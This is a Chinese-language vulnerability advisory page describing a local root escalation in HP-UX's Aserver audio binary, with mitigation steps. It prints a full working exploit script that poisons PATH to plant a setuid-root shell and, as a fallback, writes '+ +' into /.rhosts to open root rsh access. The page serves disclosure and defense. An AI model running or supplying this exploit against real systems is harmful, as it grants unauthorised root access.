首页 -> 安全研究

安全研究

安全漏洞
HP-UX Aserver漏洞

发布日期:2000-01-02
更新日期:2000-01-02

受影响系统:
HP9000 Series 7/800
+HP-UX 10.x,11.x
描述:

/opt/audio/bin/Aserver存在安全漏洞,可能导致本地用户获得root权限

< 发现者: loneguard@CRAZYMONKEY.ORG >



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/bin/sh
#
# HP-UX aserver.sh - Loneguard 18/10/98
# Simple no brainer path poison followed by a twist [ inspired by DC ;) ]
#
cd /var/tmp
cat < _EOF > ps
#!/bin/sh
cp /bin/csh /var/tmp/.foosh
chmod 4755 /var/tmp/.foosh
_EOF
chmod 755 ps
PATH=.:$PATH
/opt/audio/bin/Aserver -f
if [ -e /var/tmp/.foosh ]
    # Hmmm, you not like that technique?
    cd /tmp
    rm last_uuid
    ln -s /.rhosts last_uuid
    /opt/audio/bin/Aserver -f
    echo "+ +" > /.rhosts
    # Haha, my Kungfu is the best!
fi
echo Crazy MONKEY!



建议:
目前HP还没有补丁出来.
临时解决方法是:
1. 禁用Aserver

      chmod 400 /opt/audio/bin/Aserver

2. 如果你必须要用Aserver:
     
      chmod 6555 /opt/audio/bin/Aserver

      [***Warning - /opt/audio/bin/Aserver is now vulnerable.***]

      /opt/audio/bin/Aserver -f

      [Wait for the parent and child processes to start.]

      chmod 400 /opt/audio/bin/Aserver

      [/opt/audio/bin/Aserver is now safe.]



浏览次数:7006
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障